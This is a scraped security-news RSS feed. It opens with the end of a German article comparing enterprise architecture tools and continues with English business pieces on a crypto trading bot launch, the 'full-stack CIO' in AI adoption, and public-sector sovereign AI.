<p class="wp-block-paragraph"><strong><a title="Mega Hopex" href="https://www.mega.com/hopex-platform" target="_blank" rel="noopener">Bizzdesign Hopex</a></strong></p>



<p class="wp-block-paragraph">Nach der Übernahme von Mega International zählt die Hopex-Plattform zum Portfolio von Bizzdesign. Sie soll dabei unterstützen, Unternehmensanwendungen zu modellieren und dabei ein Verständnis der von ihnen unterstützten Geschäfts-Workflows schaffen. Dabei liegt ein Schwerpunkt auf den Bereichen Data Governance und Risikomanagement. Hopex basiert auf Microsoft <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2732704/microsoft-azure-mit-der-deutschen-cloud-zu-neuen-geldquellen.html" target="_blank">Azure</a> und stützt sich auf eine Reihe offener Standards wie GraphQL und REST Queries, um Informationen aus Komponentensystemen zu sammeln. Das Reporting ist mit den Office-Tools von Microsoft sowie mit grafischen Lösungen wie Tableau und Qlik integriert.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>datengestützte Erkenntnisse herbeiführen, um Cloud- und Anwendungsbereitstellung zu steuern;</p></li>



<li><p>akkurate Nutzungsmodelle erstellen, um Architekturanforderungen zu verstehen;</p></li>



<li><p>eine Bedarfsschätzung mit Umfragen und anderen Tools vornehmen, um für die Zukunft zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://bizzdesign.com/transformation-suite/horizzon" target="_blank" rel="noreferrer noopener">Bizzdesign Horizzon</a></strong></p>



<p class="wp-block-paragraph">Das Tool dient dazu, Business Workflows und den zugrundeliegenden Tech-Stack zu modellieren. Dazu bietet Horizzon ein Graph-basiertes Modell, das Daten von sämtlichen Stakeholdern einsammelt und diese an eine Analytics-Engine weitergibt. Im Ergebnis entstehen Diagramme, die den aktuellen Systemzustand widerspiegeln. Wichtige Schwerpunkte dieses Tools sind <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2777492/was-sie-ueber-change-management-wissen-muessen.html" target="_blank">Change Management</a> und Zukunftsplanung: Horizzon ist nicht zuletzt dafür konzipiert worden, die Risiken eines Redesigns zu minimieren. Das Toolset unterstützt die wichtigsten Frameworks ArchiMate, TOGAF und BPMN. Neben Mega hat Bizzdesign <a href="https://bizzdesign.com/press-releases/bizzdesign-adds-alfabet-business-following-successful-closing-mega-international" target="_blank" rel="noreferrer noopener">im Januar 2025</a> auch den EA-Geschäftsbereich der Software AG – Alfabet – übernommen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Vorhersage zukünftiger Anforderungen durch Predictive Modeling;</p></li>



<li><p>Orchestrieren von Workflows auf der Basis der technischen und der Business-Architektur;</p></li>



<li><p>Antizipieren von Risiken sowie Security- und Governance-Problemen durch die Modellierung von Datensicherheitsanforderungen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.capstera.com/" target="_blank" rel="noreferrer noopener">Capstera</a></strong></p>



<p class="wp-block-paragraph">Das Tool von Capstera fokussiert darauf, die Business Architecture selbst abzubilden. Value und Process Maps helfen dabei, die Rollen der verschiedenen Unternehmensbereiche zu definieren und nachzuverfolgen. Dabei können im laufenden Prozess Verknüpfungen mit den zugrundeliegenden Softwarprodukten und Tools hinzugefügt werden.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Reports erstellen, die sich erst einmal mit der Business-Architektur selbst beschäftigen;</p></li>



<li><p>Beziehungen zwischen Menschen, Abteilungen und Rollen analysieren;</p></li>



<li><p>die langfristige strategische Planung vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.bee360.com/de/" title="Clausmark Bee360" target="_blank" rel="noopener">Clausmark Bee360</a></strong></p>



<p class="wp-block-paragraph">Teammitglieder, die Clausmarks Flaggschiffprodukt Bee360 (früher Bee4IT) verwenden, wollen eine einfache “Single Source of Truth” über die Workflows im Unternehmen. Ziel ist es, verschiedenen betrieblichen Rollen intelligentere Entscheidungen zu ermöglichen. Das Modul Bee360 FM (Finanzmanagement) bietet etwa die Möglichkeit, Kosten nachzuvollziehen und zuzuordnen. Die Anwender können verschiedene solcher Module miteinander verknüpfen, um EAM, Finanzmanagement, Portfolio Management und Agile Planning nahtlos zu integrieren – bei maximaler Transparenz. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>C-Suite-Ebene befähigen, Projekte zu managen und Assets zuzuweisen;</p></li>



<li><p>präzise digitale Zwillinge entwickeln, um ein Verständnis über Datenflüsse zu schaffen und künftige Erweiterungen zu planen;</p></li>



<li><p>integrierte Wissensdatenbank aufbauen, um alle digitalen Workflows zu tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.enterprise-architecture.com/" title="EAS" target="_blank" rel="noopener">EAS</a></strong></p>



<p class="wp-block-paragraph">Das Essential-Paket von EAS (Enterprise Architecture Solutions) nahm als <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Open-Source</a>-Projekt seinen Anfang und hat sich inzwischen zu einer kommerziell verfügbaren Cloud-Lösung weiterentwickelt. Das Tool erstellt ein Metamodell, das die Interaktionen zwischen Systemen und Geschäftsprozessen beschreibt. Ebenfalls enthalten sind Pakete, um gängige Business Workflows wie Datenmanagement oder DSGVO-Compliance zu tracken.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>den technischen Reifegrad der eigenen Architektur evaluieren;</p></li>



<li><p>Sicherheit und Governance durch besseres Asset Tracking optimieren;</p></li>



<li><p>wachsende Systemkomplexität kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Orbus Software iServer" href="https://www.orbussoftware.com/" target="_blank" rel="noopener">OrbusInfinity</a></strong></p>



<p class="wp-block-paragraph">Orbus Software hat Anfang 2025 die Akquisition seines Konkurrenten Capsifi <a href="https://www.orbussoftware.com/landing-pages/events/webinars/unlocking-the-future-orbus-acquires-capsifi-a-new-era-of-innovation-partnership-apac" target="_blank" rel="noreferrer noopener">abgeschlossen</a>. Der Anbieter stellt mit OrbusInfinity eine Enterprise-Transformation-Plattform auf KI-Basis zur Verfügung,  die schnellere, bessere Entscheidungen, Kosteinesparungen und Risikominimierung verspricht. Architecture-Teams sollen mit Hifle von OrbusInfinity mit einer Vielzahl von Stakeholdern interagieren können, um eine “digitale Blaupause” ihres Unternehmens zu generieren, die eine einheitliche Sicht auf das aktuelle und künftige Geschäft realisieren soll. Diverse Drittanbieter-Tools lassen sich außerdem mit der Plattform <a href="https://www.orbussoftware.com/product/integrations" target="_blank" rel="noreferrer noopener">integrieren</a>, darunter etwa von Microsoft, Flexera, ManageEngine oder ServiceNow. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Stakeholder-Management;</p></li>



<li><p>Enterprise-Landschaften visualisieren;</p></li>



<li><p>Entscheidungsfindung und Datenanalyse automatisieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.planview.com/de/" title="Planview Enterprise One" target="_blank" rel="noopener">Planview Enterprise One</a></strong></p>



<p class="wp-block-paragraph">Planview bietet eine ganze Reihe von Produkten, mit denen Unternehmen Teamwork, Prozesse und die Enterprise Architecture nachvollziehen können. Die Enterprise Tools sind in drei Kategorien unterteilt: strategisches Portfolio-Management, Produktportfolio-Management und Projektportfolio-Management. Im Zusammenspiel entstehen hardware- und Software-übergreifende Layer, die rollenbasierte Perspektiven für Führungskräfte und Teammitglieder eröffnen. Das Toolset integriert mit gängigen Ticket-Tracking-Systemen wie Jira, um Workflow-Analysen und Reports zu erstellen. Inzwischen hat Planview nach einer Übernahme neue Tools in sein Portfolio integriert, die früher unter den Namen Daptiv, Barometer und Projectplace bekannt waren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>eine langfristige, strategische Vision für die Architekturentwicklung aufbauen;</p></li>



<li><p>Entwicklungsarbeit auf Projektebene tracken und in eine beliebige Strategie integrieren;</p></li>



<li><p>mit Fokus auf die Customer Experience und die Produktstruktur den Change vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.qualiware.com/" title="QualiWare Enterprise Architecture" target="_blank" rel="noopener">QualiWare Enterprise Architecture</a></strong></p>



<p class="wp-block-paragraph">Das Enterprise Architecture Tool von QualiWare ist Teil einer größeren Sammlung von Modellierungswerkzeugen, die darauf abzielt, sämtliche Geschäftsprozesse zu erfassen. Beispielsweise ist es möglich, einen digitalen Zwillinge zu bauen, mit dem sich Customer Journeys nachvollziehen lassen. Qualiware hat diverse KI-Algorithmen integriert, um Dokumentation und Process Discovery zu optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein kollaboratives Ökosystem für Business Manager aufbauen, das ein Verständnis von der Enterprise Architecture vermittelt;</p></li>



<li><p>architektonische Designelemente erfassen, um ein Wissens-Ökosystem rund um den Stack aufzubauen;</p></li>



<li><p>eine breite Beteiligung in Sachen Dokumentationserstellung und -überprüfung fördern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.erwin.com/de-de/products/erwin-evolve/" title="Quest Erwin Evolve" target="_blank" rel="noopener">Quest Erwin Evolve</a></strong></p>



<p class="wp-block-paragraph">Das Erwin Evolve Tool von Quest hat sich von einem Datenmodellierungs-Tool zu einem System für Enterprise-Architecture- und Geschäftsprozess-Modellierung weiterentwickelt. Um die Komplexität moderner, ineinandergreifender Softwaresysteme und der von ihnen gemanagten Geschäftsprozesse zu durchdringen, können Anwender auf benutzerdefinierte Datenstrukturen zurückgreifen. Das Web-Tool erstellt Modelle, rollenbasierte Diagramme und andere Visualisierungen, die in allgemein zugängliche Dashboards einfließen. Zum Paket gehört ein KI-basiertes Modellierungs-Tool, das Whiteboard-Skizzen integrieren kann.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>einen digitalen Zwilling für die strategische Modellierung der Enterprise Data Architecture erstellen;</p></li>



<li><p>Customer Journeys verstehen;</p></li>



<li><p>Services und Systeme mit Application Portfolio Management tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="LeanIX Enterprise Architecture Suite" href="https://www.leanix.net/de/produkte/enterprise-architecture-management" target="_blank" rel="noopener">SAP LeanIX Enterprise Architecture Suite</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von LeanIX umfasst unter anderem Enterprise Architecture Management und andere Bereiche, die für Aufgaben wie <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/cloud-computing,3454" target="_blank">SaaS</a>– und Value-Stream-Management wichtig sind – etwa um Cloud-Deployments und darauf laufende Services zu tracken. Die Daten die dabei über die IT-Infrastruktur gesammelt werden, fließen in ein grafisches Dashboard ein. Das Tool ist eng mit wichtigen Cloud-Workflow-Tools wie Confluence, Jira, Signavio und Lucidchart integriert. Das ist für Teams von Vorteil, die diese Tools bereits nutzen, um ihre Entwicklungsstrategien zu planen und umzusetzen. Seit November 2023 <a href="https://www.leanix.net/de/unternehmen/pressemeldungen/leanix-gehoert-jetzt-zu-sap">ist LeanIX Teil von SAP</a>.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Anwendungsmodernisierung und Cloud-Migration managen;</p></li>



<li><p>Obsoleszenz von Software-Services evaluieren;</p></li>



<li><p>Kosten kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.servicenow.com/de/" title="ServiceNow" target="_blank" rel="noopener">ServiceNow</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von ServiceNow lässt sich auf verschiedene Architekturtypen herunterbrechen, darunter Assets, <a href="https://www.computerwoche.de/article/2785626/wie-devops-die-it-beschleunigen.html" target="_blank" class="idgGlossaryLink">DevOps</a>, Security und Service. Die Tools katalogisieren die unterschiedlichen Hardware- und Softwareplattformen, um Workflows und Datenflüsse im Unternehmen abzubilden und zu verstehen. Ausführliche Reportings und detaillierte Dashboards ermöglichen Analysen, auf deren Grundlage Risiken minimiert und die Ausfallsicherheit der Systeme erhöht werden können.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Tracken von Assets, Services und Systemen, die das Unternehmen ausmachen;</p></li>



<li><p>Governance-Themen, Risikobegrenzung, IT-Management und Security Operations werden in einer Plattform zusammengeführt;</p></li>



<li><p>durch die Integration von CRM-Tools lassen sich auch kundenorientierte Services managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://sparxsystems.com/products/ea/" title="Sparx Systems" target="_blank" rel="noopener">Sparx Systems</a></strong></p>



<p class="wp-block-paragraph">Um Teams und Projekte verschiedener Größe und Komplexität zu unterstützen, hat Sparx vier Versionen seines EA-Tools entwickelt. Allen gemeinsam ist eine UML-basierte Modellierung, mit der sich die Komponenten komplexer Systeme tracken lassen. Eine Simulations-Engine ermöglicht “War Gaming” und vermittelt ein Verständnis darüber, wie sich Fehler ausbreiten und kaskadieren können. Sparx stellt zudem eine Vielzahl von vorgefertigten Design Patterns bereit, um Teams bei der Modellierung zu unterstützen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Nachfrage- und Lastveränderungen zur Prognose künftiger Anforderungen simulieren;</p></li>



<li><p>(potenzielle) Probleme durch eine Verbindungs-Matrix im Auge behalten;</p></li>



<li><p>Dokumentation erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.teamblue.unicomsi.com/products/system-architect/" title="Unicom System Architect" target="_blank" rel="noopener">Unicom System Architect</a></strong></p>



<p class="wp-block-paragraph">System Architect ist eines der Angebote aus Unicoms Team Blue. Es handelt sich um ein Tool, das ein Metamodell verwendet, um automatisiert so viele Daten wie möglich über die laufenden Systeme zu sammeln – manchmal auch durch ein Reverse Engineering von Datenflüssen. Dieses systemweite Datenmodell kann über benutzerdefinierte Dashboards Teammitgliedern aller Rollen zugänglich gemacht werden. Ein weiteres erwähnenswertes Feature: Die Ressourcenzuweisung lässt sich mit Hilfe von Simulationen optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Was-wäre-wenn-Fragen zum Architekturmodell stellen;</p></li>



<li><p>ein Metamodell von Daten und Systemen aufbauen;</p></li>



<li><p>Migrations- und Transformationspläne erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.valueblue.com/bluedolphin" title="ValueBlue BlueDolphin" target="_blank" rel="noopener">ValueBlue BlueDolphin</a></strong></p>



<p class="wp-block-paragraph">Dieses EA-Tool sammelt Daten auf dreierlei Art:</p>



<ol class="wp-block-list">
<li><p>Es importiert Basisdaten auf der Grundlage standardgesteuerter Automatisierung (ITSM, SAM).</p></li>



<li><p>Es arbeitet mit den Dateiformaten von Architekten und Systemdesignern – etwa ArchiMate oder BPMN.</p></li>



<li><p>Es gibt Fragebögen an andere Stakeholder heraus, die auf anpassbaren Vorlagen basieren.</p></li>
</ol>



<p class="wp-block-paragraph">Die aufbereiteten Informationen werden in einer visuellen Umgebung bereitgestellt, die Auskunft über die historische Entwicklung von Systemen gibt.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>systemweite Daten von internen und externen Stakeholdern automatisiert und formularbasiert erfassen;</p></li>



<li><p>zukunftsorientierte Reportings erzeugen, um den Change zu überwachen und voranzutreiben;</p></li>



<li><p>Kooperation und Zusammenarbeit durch offenes Data Reporting fördern.</p></li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.cio.com/article/196069/top-enterprise-architecture-tools.html" target="_blank">im Original</a> bei unserer Schwesterpublikation CIO.com erschienen. </strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Telegram Trading Bot Banana Gun Goes Live on Stable Chain]]></title>
<description><![CDATA[Banana Gun’s Telegram trading bot went live on Stable, the stablecoin Layer 1 backed by Bitfinex, on 24 July 2026, and gas on that chain is paid in USDT rather than a volatile native token. If you have ever watched a sniper bot fail because a separate gas token ran dry mid trade, this launch […]
...]]></description>
<link>https://tsecurity.de/de/3694407/it-security-nachrichten/telegram-trading-bot-banana-gun-goes-live-on-stable-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694407/it-security-nachrichten/telegram-trading-bot-banana-gun-goes-live-on-stable-chain/</guid>
<pubDate>Sat, 25 Jul 2026 18:58:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Banana Gun’s Telegram trading bot went live on Stable, the stablecoin Layer 1 backed by Bitfinex, on 24 July 2026, and gas on that chain is paid in USDT rather than a volatile native token. If you have ever watched a sniper bot fail because a separate gas token ran dry mid trade, this launch […]</p>
<p>The post <a href="https://secureblitz.com/telegram-trading-bot-banana-gun-goes-live-on-stable-chain/">Telegram Trading Bot Banana Gun Goes Live on Stable Chain</a> appeared first on <a href="https://secureblitz.com/">SecureBlitz Cybersecurity</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[On AI Ethics: Why Prompt Engineering Needs a Moral Compass]]></title>
<description><![CDATA[In this first of a three-part series, we look at why “working as designed” is no longer good enough for enterprise AI or cybersecurity pros.]]></description>
<link>https://tsecurity.de/de/3694402/it-security-nachrichten/on-ai-ethics-why-prompt-engineering-needs-a-moral-compass/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694402/it-security-nachrichten/on-ai-ethics-why-prompt-engineering-needs-a-moral-compass/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this first of a three-part series, we look at why “working as designed” is no longer good enough for enterprise AI or cybersecurity pros.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



